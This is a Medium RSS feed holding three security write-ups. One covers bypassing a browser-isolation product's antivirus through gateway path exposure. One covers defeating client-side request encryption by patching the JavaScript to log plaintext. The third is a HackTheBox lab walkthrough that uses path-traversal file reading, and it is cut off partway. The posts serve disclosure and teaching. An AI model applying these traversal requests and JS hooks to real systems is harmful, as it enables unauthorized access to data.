<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Aydin Naserifard on Medium]]></title>
        <description><![CDATA[Stories by Aydin Naserifard on Medium]]></description>
        <link>https://medium.com/@aydianosec?source=rss-fbd07e5e30d7------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*5BJgZPHJEmsduNeAFh2GNA.jpeg</url>
            <title>Stories by Aydin Naserifard on Medium</title>
            <link>https://medium.com/@aydianosec?source=rss-fbd07e5e30d7------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 10:56:00 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@aydianosec/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Bypassing Multi-Layer Browser Isolation & AV Controls Through Gateway Path Mismanagement]]></title>
            <link>https://infosecwriteups.com/bypassing-multi-layer-browser-isolation-av-controls-through-gateway-path-mismanagement-d5520313dfbd?source=rss-fbd07e5e30d7------2</link>
            <guid isPermaLink="false">https://medium.com/p/d5520313dfbd</guid>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[antivirus-bypass]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[browser-isolation]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[Aydin Naserifard]]></dc:creator>
            <pubDate>Fri, 05 Dec 2025 20:24:22 GMT</pubDate>
            <atom:updated>2025-12-15T08:41:38.925Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*8YZ_FQSwS1NXCcYXjpG04Q.jpeg" /><figcaption>Image generated by deepai</figcaption></figure><h3>Introduction</h3><p>Browser-isolation platforms are increasingly deployed in enterprise environments to protect users from malicious websites, phishing payloads, and file-based threats.<br>Many modern solutions combine <strong>containerized remote browsers</strong>, <strong>gateway proxies</strong>, and <strong>multiple antivirus engines</strong> to ensure that potentially harmful files are blocked before reaching the endpoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TQxk08Exk8FbfSt9tSI0iQ.png" /><figcaption>Versioning for the Multi-AV Scanner Feature</figcaption></figure><p>During a recent authorized security assessment, I analyzed a browser-isolation product that used a multi-AV pipeline and container-based rendering to prevent the download of malicious files. Although the core concept was robust, a subtle logic flaw in the <strong>gateway layer</strong> allowed me to bypass these security controls entirely. This write-up walks through the root causes of the issue, why the architecture failed, and how a small oversight in path handling undermined the platform’s protection model.</p><h3><strong>How the Platform Was Supposed to Work</strong></h3><p>The solution used a standard browser-isolation workflow:</p><ol><li>A new <strong>container</strong> is spawned for each browsing session.</li><li>The user never interacts with the real internet directly; instead, they see a VNC-like interface inside an iframe.</li><li>All downloads are passed through:</li></ol><ul><li>URL filtering</li><li>multi-engine antivirus scanning</li><li>sandbox inspection</li></ul><p>4. If a file is considered malicious, the download is blocked before it can reach the user.</p><p>At a high level, this is a secure and well-structured approach.</p><h3>The Architectural Weak Spot: The Gateway Layer</h3><p>Each browsing session generates an iframe URL similar to:</p><pre>https://gateway/&lt;container-id&gt;/&lt;session-id&gt;/vnc.html?path=&lt;container-id&gt;/&lt;session-id&gt;/websockify&amp;cursor=false&amp;resize=remote&amp;clipboard_up=true&amp;clipboard_down=true&amp;clipboard_seamless=true&amp;toggle_control_panel=false</pre><p>This link points to the remote browser interface running inside the container.</p><p>However, during the assessment, it became clear that the gateway was:</p><p>exposing internal directory structures</p><ul><li>accepting user-controlled path parameters</li><li>failing to enforce any meaningful path normalization or sanitization</li></ul><p>As a result, the gateway unintentionally behaved like a lightweight file server.</p><h3>What Actually Happened Inside the Container</h3><p>Although the product blocked malicious file downloads at the gateway’s inspection pipeline, the browser inside the isolated container <strong>did download the files</strong> before they were scanned.</p><p>Normally, this should not be a problem, those downloads should remain sealed inside the container’s filesystem.</p><p>However…</p><h3>The gateway was exposing additional directories beyond the intended VNC interface, including:</h3><ul><li>the browser’s default profile directory</li><li>its internal cache</li><li>and most importantly, <strong>its download folder</strong></li></ul><p>This made it possible to access files <strong><em>after</em></strong> the browser had downloaded them but <strong><em>before</em></strong> the security layers could enforce blocking.</p><h3>How I Bypassed the Multi-AV Controls</h3><p>By manipulating the iframe’s path parameter and browsing to adjacent directories within the returned container structure, I could:</p><ul><li>reach the browser’s download directory</li><li>retrieve any file the remote browser had already stored</li><li>access files the AV pipeline had intended to block</li><li>fully bypass the product’s intended threat-prevention controls</li></ul><blockquote><strong>This was not an antivirus evasion. It was a gateway-level path exposure vulnerability</strong>.</blockquote><p>Even with strong isolation at the container level, the gateway’s mismanagement of paths inadvertently reopened access to files that were supposed to remain sealed inside the session.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ngeLnbmuKlxfjFQJbSL-NA.png" /><figcaption>Multi-Av feature doesn&#39;t allow to download mimikatz.exe (malicious file)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q4B1Lj7YTOWh1jFf8mqYvQ.png" /><figcaption>Directory Listing</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O8ramcx9z62M9fC6GKYxRg.png" /><figcaption>Download any malicious file</figcaption></figure><h3>Why This Happened</h3><p><strong><em>1. Direct Exposure of Internal Paths </em></strong><br> The gateway directly exposed the container/session path (‘/&lt;container-id&gt;/&lt;session-id&gt;/’) as a browsable directory. By removing the VNC-specific query parameters, the underlying folder became accessible over HTTP.</p><p><strong><em>2. Directory Listing Enabled </em></strong><br>With directory indexing turned on, the gateway returned a full listing of files and subdirectories under the session path, including browser profile and download folders.</p><p><strong><em>3. Missing Authorization on Static Routes </em></strong><br>Access to these paths did not require any additional authorization beyond the initial session, effectively turning the gateway into a <strong>file server</strong> for everything inside the browser container.</p><h3>Security Impact</h3><p>This vulnerability fundamentally broke the product’s threat model:</p><ul><li>multi-engine AV scanning became irrelevant</li><li>harmful files became accessible through the gateway</li><li>isolation guarantees were weakened</li><li>user-level containment leaked into the web layer</li></ul><p>Most importantly, it demonstrated that <strong>even secure container isolation can be compromised if the routing/gateway layer is misconfigured</strong>.</p><h3>Vendor Response!</h3><p>After reporting the issue through the responsible disclosure process, the vendor stated that they were already aware of the vulnerability. No bounty was offered, and there was no formal acknowledgment or appreciation for the findings.<br>Interestingly, although they claimed the issue was known, the vulnerability was still present not only in the version I was testing but also in the latest release. I originally identified the flaw in two older builds, and further verification showed that the same weakness persisted unchanged in the most recent version as well.</p><p>This experience highlights the importance of having a structured vulnerability management process. When a security issue remains unpatched across multiple versions, even after being acknowledged, it signals gaps in prioritization and lifecycle management and underscores the value of transparent and accountable security practices</p><h3>Conclusion</h3><p>Browser isolation is a powerful defensive technology, but its effectiveness depends on correct implementation at every layer. In this case, the isolation kernel was functioning correctly, but the surrounding infrastructure introduced a flaw that allowed malicious files to bypass multi-AV scanning entirely.</p><p>This assessment reinforced an important lesson:<br><strong>Container security must be reviewed holistically, from the runtime engine all the way up to the routing and gateway components. </strong>Even a single overlooked parameter can collapse an otherwise robust security design.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d5520313dfbd" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/bypassing-multi-layer-browser-isolation-av-controls-through-gateway-path-mismanagement-d5520313dfbd">Bypassing Multi-Layer Browser Isolation &amp; AV Controls Through Gateway Path Mismanagement</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Obfuscation Isn’t a Fix, And It Cost Them $2,500 — A Real-World Case Study]]></title>
            <link>https://infosecwriteups.com/obfuscation-isnt-a-fix-and-it-cost-them-2-500-a-real-world-case-study-5a2fd65c6b4f?source=rss-fbd07e5e30d7------2</link>
            <guid isPermaLink="false">https://medium.com/p/5a2fd65c6b4f</guid>
            <category><![CDATA[obfuscation]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[encryption]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cryptography]]></category>
            <dc:creator><![CDATA[Aydin Naserifard]]></dc:creator>
            <pubDate>Thu, 17 Apr 2025 16:16:37 GMT</pubDate>
            <atom:updated>2025-04-18T07:20:14.797Z</atom:updated>
            <content:encoded><![CDATA[<h3>Obfuscation Isn’t a Fix, And It Cost Them $2,500 — A Real-World Case Study</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_XKOWFHy83hP9B5ilqo72A.png" /><figcaption>Challenge Accepted</figcaption></figure><p>A while ago, I performed a penetration test on a major web application owned by one of my clients. During the assessment, I identified several critical vulnerabilities. Although these flaws weren’t easy to find — they required in-depth analysis and carefully crafted requests — they posed a serious risk to the platform’s integrity and user data.</p><p>Given the severity of the findings, I expected the development and management teams to prioritize proper remediation. But instead, they chose a different path.</p><p>Rather than fixing the underlying security issues, they decided to <strong>encrypt the entire body of each HTTP request</strong>— for example, encrypting login credentials or parameter values — in an attempt to prevent attackers from understanding or reproducing the vulnerabilities.</p><p>Their idea was to “hide” the vulnerabilities behind encrypted traffic, giving them six months to work on actual fixes. In theory, this would slow down any attacker trying to identify or exploit the issues.</p><p>I explained why this approach wouldn’t hold. Obscuring insecure functionality doesn’t make it secure — it just shifts the problem and adds complexity without eliminating the risk. I even challenged them: if I could still exploit the vulnerabilities despite the encrypted requests, they would pay me an additional $2,500.</p><p>Spoiler: they did.</p><p>Let’s walk through the scenario, why encryption is not a substitute for proper remediation, and what this taught both sides about the real cost of avoiding fixes.</p><p>The first request is a POST request, in which data is sent encrypted within the HashData parameter. However, after decryption, the data appears to be unreadable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*SeeySzV2YEbxTmeIpMMBTA.png" /><figcaption>Encrypted Request</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*nyPEMf4pURUvGU4p7MmpJA.png" /><figcaption>Encrypted Response</figcaption></figure><p>Upon inspecting the JavaScript bundle (main.xxxxxxx.chunk.js), I identified a function named HashData, which was responsible for encrypting request data. This function was used in two key places, but only one of them leveraged a request <strong>interceptor</strong> pattern, which allowed injection or modification of outgoing payloads before being sent.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qpo0O5BeL3_Zprx6FFaZqw.png" /><figcaption>HashData Function Used In First Place</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*41X_4qvunDp9Y5825w4G5A.png" /><figcaption>HashData Function Used In Second Place</figcaption></figure><p>In this case (Second Place), the developer has used an interceptor method for the request in order to apply modifications. We use a breakpoint to sniff and analyze it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6whMS58phoO31Y7-9esEAA.png" /><figcaption>Analyze HashData Function</figcaption></figure><p>Despite the code being minified, I was able to use online tools to beautify it and analyze the logic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ot1irZO-_yAJxaK3lCAPCw.png" /><figcaption>HashData Function</figcaption></figure><p>The encryption process involved the following:</p><ul><li>A <strong>random 256-bit key</strong> was generated for each request using a function like random().</li><li>The <strong>request body</strong> was encrypted using <strong>AES</strong>, with this random key as the encryption key.</li><li>The random key itself was then encrypted using a <strong>static RSA public key</strong> and attached to the request.</li><li>The encrypted data was finally Base64-encoded and stored or transmitted (sometimes via localStorage or directly in the request).</li></ul><p>The AES encryption function is defined as follows:</p><pre>function s(e, t) {<br>var n = t.toString();<br>return r.a.AES.encrypt(JSON.stringify(e), n).toString()<br>}</pre><ul><li>e is the input data that gets converted to JSON and then encrypted.</li><li>t is the encryption key.</li><li>The function returns the encrypted result as a string (i.e., the server response).</li></ul><p>Here’s a simplified version of the AES encryption logic:</p><pre>function encrypt(data, key) {<br>    return CryptoJS.AES.encrypt(JSON.stringify(data), key.toString()).toString();<br>}</pre><p>The AES decryption function is defined as:</p><pre>function u(e, t) {<br>    if (void 0 !== e) {<br>        var n = r.a.AES.decrypt(e.toString(), t).toString(r.a.enc.Utf8);<br>        return JSON.parse(JSON.parse(n).data)<br>    }<br>}</pre><ul><li>e is the encrypted data.</li><li>t is the encryption key.</li><li>The decrypted result is parsed from JSON and returned as the original data.</li></ul><p>Here’s a simplified version of the AES decryption logic:</p><pre>function decrypt(encryptedData, key) {<br>    const decrypted = CryptoJS.AES.decrypt(encryptedData.toString(), key).toString(CryptoJS.enc.Utf8);<br>    return JSON.parse(JSON.parse(decrypted).data);<br>}</pre><p>This means that the payload encryption relied entirely on a <strong>client-generated key</strong> — which I could capture at runtime using browser breakpoints — and a <strong>public RSA key</strong> for wrapping that AES key.</p><p>On the server side, the process was reversed:</p><ol><li>The encrypted AES key was decrypted using the server’s <strong>RSA private key</strong>.</li><li>That AES key was then used to decrypt the actual request body.</li></ol><p>The server-side implementation accepted requests with a validity window of around <strong>30 seconds</strong> to prevent replay attacks. However, this still wasn’t enough to stop me.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SWlgnQtKO1oP5F9m31dsbQ.png" /><figcaption>The 32-byte random array is stored across 8 stack slots</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vSCPJ6iBYbt7kfGSE-SOOQ.png" /><figcaption>e is encryption data</figcaption></figure><p>Now we need to simulate the encryption and decryption code (there’s no need to know the server-side private key). That means:</p><ul><li>If the unique code var n = t.toString(); appears in the response body, we log it as an encryption request.</li><li>For decryption, if the unique code var n = r.a.AES.decrypt(e.toString(), t).toString(r.a.enc.Utf8); appears in the response body, we print the server’s response.</li></ul><p>Below, you can see the request body and the server’s response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8mgYrOPRG15UIGY1G2IiIA.png" /><figcaption>request body</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XE7hZlUiyR3HdMsQtUa7XQ.png" /><figcaption>response body</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/421/1*3IHA0Y-7mNfz_zeq_cU2Yw.png" /><figcaption>response body</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4ymCUytSOb9yOgt1F6ljFA.png" /><figcaption>request body</figcaption></figure><p>At the login stage, after entering the login credentials, another encrypted request is sent.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/415/1*ny02q_pqi01NDJpQeWpjkQ.png" /><figcaption>Another encrypted request body is sent in the login request</figcaption></figure><p>This HashData is Base64-encoded and can be decoded. Alternatively, if the response body contains the code var n = &quot;&quot;, we print it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*b9ZF-UZjs86E7tuErsh1DA.png" /><figcaption>First Place HashData Function</figcaption></figure><p>This function encrypts the data and converts it to Base64. If needed, it also stores the result in localStorage. If t.isObj is true, the data (t.data) is first converted to JSON format and then encoded in UTF-8. The final result is then encoded in Base64.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/412/1*LMIrRMOpsMgIh9C75bhfyw.jpeg" /><figcaption>login request body</figcaption></figure><h3>How I Defeated It</h3><p>I intercepted the browser’s request using a breakpoint on the unique call to HashData. Once the AES key and encrypted payload were available in memory, I simply logged them to the console.</p><p>From there, I could:</p><ul><li>Extract and replay encrypted payloads.</li><li>Modify parameters (like credentials or object IDs) before encryption.</li><li>Use the same AES encryption logic on my own custom payloads to interact with the backend.</li><li>Decrypt server responses by breaking on the decryption routine that matched:</li></ul><pre>var n = r.a.AES.decrypt(e.toString(), t).toString(r.a.enc.Utf8);</pre><blockquote>By simulating the encryption logic in my own scripts — <strong>without needing the server’s private key</strong> — I effectively reversed their encryption barrier and resumed exploitation:</blockquote><p>For the Request Body:</p><pre>var n=t.toString();    <br>-&gt; Replaced with:<br>var n=t.toString();console.warn(JSON.stringify(e));prompt(&quot;Request: &quot; + JSON.stringify(e));</pre><p>For the Secondary hash Request Body:</p><pre>var n=&quot;&quot;;  <br>-&gt; Replaced with:<br>var n=&quot;&quot;;console.warn(JSON.stringify(t.data));prompt(&quot;Double Encrypted Body: &quot; + JSON.stringify(t.data));</pre><p>For the Response:</p><pre>n=r.a.AES.decrypt(e.toString(),t).toString(r.a.enc.Utf8);  <br>-&gt; Replaced with:<br>n=r.a.AES.decrypt(e.toString(),t).toString(r.a.enc.Utf8);console.warn(JSON.stringify(JSON.parse(JSON.parse(n).data)));prompt(&quot;Response: &quot; + JSON.stringify(JSON.parse(JSON.parse(n).data)));</pre><h3>Conclusion</h3><p>Two keys are used for encryption: a private RSA key and a public key that remains constant. For each request, a random 256-bit key is generated. The entire payload body is encrypted using this random key, and the random key itself is encrypted using the public key (a new random key is generated for every request). Each request is valid for 30 seconds.</p><p>On the server side, the data is first decrypted using the private RSA key to retrieve the original phrase. Then, the entire payload body is unencrypted using that original phrase.</p><p>As a result, the encryption algorithm implemented in the system can be bypassed, allowing visibility into both the request body and the server’s response. Therefore, it does not significantly contribute to the security of the system, especially when the system is already vulnerable.</p><p>This case reinforced a critical lesson in web security: <strong>Encryption is not a fix for broken logic</strong>. Obfuscating insecure functionality doesn’t make it secure; it only delays skilled attackers — and not for long. Any cryptographic control implemented on the client side can be reversed, debugged, or replayed.</p><p>In this case, I was able to exploit the exact same vulnerabilities as before, despite the encrypted traffic. Not only did this demonstrate the flaw in their strategy, but it also highlighted the importance of <strong>addressing the root cause</strong>, not just the symptoms.</p><p>Security through obscurity can buy time — but it’s a gamble. And in this case, the house lost.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5a2fd65c6b4f" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/obfuscation-isnt-a-fix-and-it-cost-them-2-500-a-real-world-case-study-5a2fd65c6b4f">Obfuscation Isn’t a Fix, And It Cost Them $2,500 — A Real-World Case Study</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Download | LFI | ORM Injection | Teletypewriter (TTY) hijacking | PostgreSQL | NodeJS]]></title>
            <link>https://infosecwriteups.com/download-lfi-orm-injection-teletypewriter-tty-hijacking-postgresql-c24122a2562a?source=rss-fbd07e5e30d7------2</link>
            <guid isPermaLink="false">https://medium.com/p/c24122a2562a</guid>
            <category><![CDATA[tty-pushback]]></category>
            <category><![CDATA[postgresql]]></category>
            <category><![CDATA[download]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[orm-injection]]></category>
            <dc:creator><![CDATA[Aydin Naserifard]]></dc:creator>
            <pubDate>Wed, 06 Dec 2023 15:53:02 GMT</pubDate>
            <atom:updated>2023-12-08T13:37:37.724Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/906/1*da5JqnTP2ORKStAq0h3Y6w.jpeg" /><figcaption>Download</figcaption></figure><p>Here’s a summary of the key points of <strong>Download</strong> HTB machine:</p><p><strong>Difficulty Level</strong>: HARD</p><p><strong>Vulnerabilities </strong>and <strong>Techniques</strong>:</p><ol><li><strong>LFR (Local File Read)</strong>: The presence of a Local File Read vulnerability suggests that an attacker can read files on the system, potentially accessing sensitive information.</li><li><strong>ORM Injection</strong>: In an ORM injection attack, the attacker manipulates data inputs to deceive the ORM system and execute unintended database operations. This type of attack is similar in concept to SQL injection but targets the abstraction layer provided by the ORM.</li><li><strong>TTY (Teletypewriter</strong>) <strong>hijacking</strong>: This is a technique where an attacker simulates the typing of characters into the terminal, essentially pushing back input as if it were entered by the user.</li></ol><p>Let’s add download.htb to our hosts file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/537/1*wnMq7DyuoCEtdTV-oN2nlA.jpeg" /><figcaption>hosts</figcaption></figure><p><strong>Enumeration</strong></p><blockquote>nmap -sCV -p- — min-rate 10000 10.10.11.226</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/1*EhxTctm-84FzBUUg-WRvZg.jpeg" /><figcaption>nmap</figcaption></figure><p>Two ports are open:80,22. let’s open port 80:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ICVfhomS1NjWog8F5Ohihg.jpeg" /></figure><p>we can upload a file through upload module.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kfN-hmHwIVkIy4YBJOyp6g.jpeg" /><figcaption>upload file</figcaption></figure><p>Let’s perform directory fuzzing using Gobuster to discover any directories:</p><blockquote>feroxbuster -u http://download.htb</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1Mh6KdhL_5yqcMNNpJroDg.jpeg" /><figcaption>Directory fuzing</figcaption></figure><p>Nothing fancy.</p><p>let’s scan for additional subdomains:</p><pre>ffuf -w /usr/share/SecLists-master/Discovery/DNS/subdomains-top1million-5000.txt -u http://download.htb -H &quot;Host: FUZZ.download.htb&quot; -mc all -fs 178</pre><p>We can use the <strong>`-fs`</strong> flag to filter out <strong>HTTP responses</strong> based on their size. Specifically, weâ€™re filtering responses that have a size of 178 bytes to limit false positives. Th<strong>e `-m</strong>c` flag allows us to match specific HTTP status codes. By default, it matches status codes 200, 204, 301, 302, 307, 401, 403, 405, and 500.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N_MlWSd6GEz6BhuEGxd40A.jpeg" /><figcaption>subdomain fuzzing</figcaption></figure><p>Let’s register an account and log in to the web application:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IhHV8g_gc1He1GBeDTBzgw.jpeg" /><figcaption>register</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*WvZQivQynEYDmJIR7W2MiA.jpeg" /><figcaption>log in requet</figcaption></figure><p>Let’s upload a file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*XkqKQ0g2aRmxK5XQMi_tUA.jpeg" /></figure><p>After uploading our file, three options are displayed: download, copy link, and delete. here are the download and view requests:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*8vUPhfvV95HszV0aMO2akw.jpeg" /><figcaption>download request</figcaption></figure><p>The file is being downloaded using its UUID.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/1*wYT8A-nyy76L93sLUCk92Q.jpeg" /><figcaption>copy link request</figcaption></figure><p>The file is being displayed using its UUID.</p><p>download_session is a base64 cookie. here is the decoded value of it:</p><pre>┌──(kali㉿kali)-[~/Desktop]<br>└─$ echo &#39;eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOltdfSwidXNlciI6eyJpZCI6MTYsInVzZXJuYW1lIjoiaGFja3RoZWJveCJ9fQ==&#39; | base64 -d<br>{&quot;flashes&quot;:{&quot;info&quot;:[],&quot;error&quot;:[],&quot;success&quot;:[]},&quot;user&quot;:{&quot;id&quot;:16,&quot;username&quot;:&quot;hackthebox&quot;}}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xW7IoTr-QfwHVIULowUYRw.jpeg" /><figcaption>decode cookie value</figcaption></figure><p>The cookie holds important information such as the username, id, and flashes field.</p><p>Let’s log out, go to the upload page, try to upload a file, and send the request:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*5oV20D4gq55ppwlSlojpEw.jpeg" /><figcaption>request</figcaption></figure><p>Decode the value of the ‘download_session’ cookie.</p><pre>echo -n &#39;eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOltdfSwidXNlciI6bnVsbH0=&#39; | base64 -d                                                    <br>{&quot;flashes&quot;:{&quot;info&quot;:[],&quot;error&quot;:[],&quot;success&quot;:[]},&quot;user&quot;:null}       </pre><p>If we compare requests with login credentials and no login credentials, the <strong>download_session.sig</strong> value length is <strong>27 bytes </strong>in both of them.</p><p>I attempted to create another user with a different username and tried to impersonate them by modifying our cookie. The ‘download_session.sig’ part remains the same. However, the response simply redirects us to the login page because the cookie isn’t valid.</p><p>Returning to the download request, what would happen if we attempted LFI (Local File Inclusion)? Let’s try to read <strong>/etc/passwd</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*8hRekKBMH9R3Qk812FpJ2g.jpeg" /></figure><p>It doesn’t work. Even if we <strong>URL-encode</strong> ‘<strong>/</strong>’, it still doesn’t work</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ec8ecNU3l4nw82aP5mFsUw.jpeg" /></figure><p>Let’s attempt to discover the directory where our uploaded files are being stored. I have tried some common names such as ‘<strong>upload</strong>’, ‘<strong>uploads</strong>’, and ‘<strong>files</strong>’. The one that proved successful was ‘uploads’:</p><pre>GET /files/download/..%2fuploads%2fff7cfa80-cb36-4531-867c-8feb353fc383 <br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hRjnmQWqrDhN0AvMEl5S4Q.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IvKlDINuodkIZ2aW_qzZcA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KsBIOCDLirq6Lwrtm8WOvg.jpeg" /></figure><p>Considering that the website is constructed with Express, let’s attempt to list some files, such as the ‘<strong>package.json</strong>’ file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*V46vwflbIuUVgmPri7n2ag.jpeg" /></figure><pre>{<br>  &quot;name&quot;: &quot;download.htb&quot;,<br>  &quot;version&quot;: &quot;1.0.0&quot;,<br>  &quot;description&quot;: &quot;&quot;,<br>  &quot;main&quot;: &quot;app.js&quot;,<br>  &quot;scripts&quot;: {<br>    &quot;test&quot;: &quot;echo \&quot;Error: no test specified\&quot; &amp;&amp; exit 1&quot;,<br>    &quot;dev&quot;: &quot;nodemon --exec ts-node --files ./src/app.ts&quot;,<br>    &quot;build&quot;: &quot;tsc&quot;<br>  },<br>  &quot;keywords&quot;: [],<br>  &quot;author&quot;: &quot;wesley&quot;,<br>  &quot;license&quot;: &quot;ISC&quot;,<br>  &quot;dependencies&quot;: {<br>    &quot;@prisma/client&quot;: &quot;^4.13.0&quot;,<br>    &quot;cookie-parser&quot;: &quot;^1.4.6&quot;,<br>    &quot;cookie-session&quot;: &quot;^2.0.0&quot;,<br>    &quot;express&quot;: &quot;^4.18.2&quot;,<br>    &quot;express-fileupload&quot;: &quot;^1.4.0&quot;,<br>    &quot;zod&quot;: &quot;^3.21.4&quot;<br>  },<br>  &quot;devDependencies&quot;: {<br>    &quot;@types/cookie-parser&quot;: &quot;^1.4.3&quot;,<br>    &quot;@types/cookie-session&quot;: &quot;^2.0.44&quot;,<br>    &quot;@types/express&quot;: &quot;^4.17.17&quot;,<br>    &quot;@types/express-fileupload&quot;: &quot;^1.4.1&quot;,<br>    &quot;@types/node&quot;: &quot;^18.15.12&quot;,<br>    &quot;@types/nunjucks&quot;: &quot;^3.2.2&quot;,<br>    &quot;nodemon&quot;: &quot;^2.0.22&quot;,<br>    &quot;nunjucks&quot;: &quot;^3.2.4&quot;,<br>    &quot;prisma&quot;: &quot;^4.13.0&quot;,<br>    &quot;ts-node&quot;: &quot;^10.9.1&quot;,<br>    &quot;typescript&quot;: &quot;^5.0.4&quot;<br>  }<br>}</pre><p>We can find all <strong>dependencies</strong> that the app is using in the ‘<strong>package.json</strong>’ file. It also reveals an author named <strong>WESLEY</strong>, which could potentially be a system username — <em>a valuable piece of information to keep in mind</em>. Additionally, the main script of the website is disclosed as ‘<strong>app.js</strong>’.</p><p>Additionally, it utilizes ‘<strong>Prisma</strong>’ which is an ORM for interacting with the database.</p><blockquote>Object-Relational Mapping (ORM) frameworks help prevent SQL injection by handling the translation of higher-level, object-oriented code into SQL queries. SQL injection occurs when an attacker manipulates user inputs to inject malicious SQL code into the queries executed by a database. ORM frameworks provide a layer of abstraction that can help mitigate the risk of SQL injection in the following ways:</blockquote><blockquote><strong>Parameterized Queries:</strong> ORM frameworks typically use parameterized queries, where user inputs are treated as parameters rather than being directly embedded into the SQL statement. Parameters are then securely bound to the query, preventing malicious manipulation of the SQL code.</blockquote><blockquote><strong>Query Generation:</strong> ORM frameworks often generate SQL queries dynamically based on the object-oriented code. This process is handled internally by the ORM, reducing the likelihood of manual, error-prone query construction that could lead to SQL injection vulnerabilities.</blockquote><blockquote><strong>Automatic Escaping:</strong> ORM frameworks often automatically escape special characters in user inputs. This ensures that even if user inputs contain characters that have special meanings in SQL (such as single quotes), the ORM will handle their proper escaping.</blockquote><blockquote>So ORM frameworks manage the mapping of objects to database tables, handle queries and updates, and provide a cohesive way to interact with the database using object-oriented principles.</blockquote><p>Let’s attempt to list the content of app.js:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/894/1*g10mKAFVsJPjFYI4TvNERg.jpeg" /><figcaption>app.js-1</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*iM48rlRium463OV9_pmMeA.jpeg" /><figcaption>app.js-2</figcaption></figure><pre><br>&quot;use strict&quot;;<br>var __importDefault = (this &amp;&amp; this.__importDefault) || function (mod) {<br>    return (mod &amp;&amp; mod.__esModule) ? 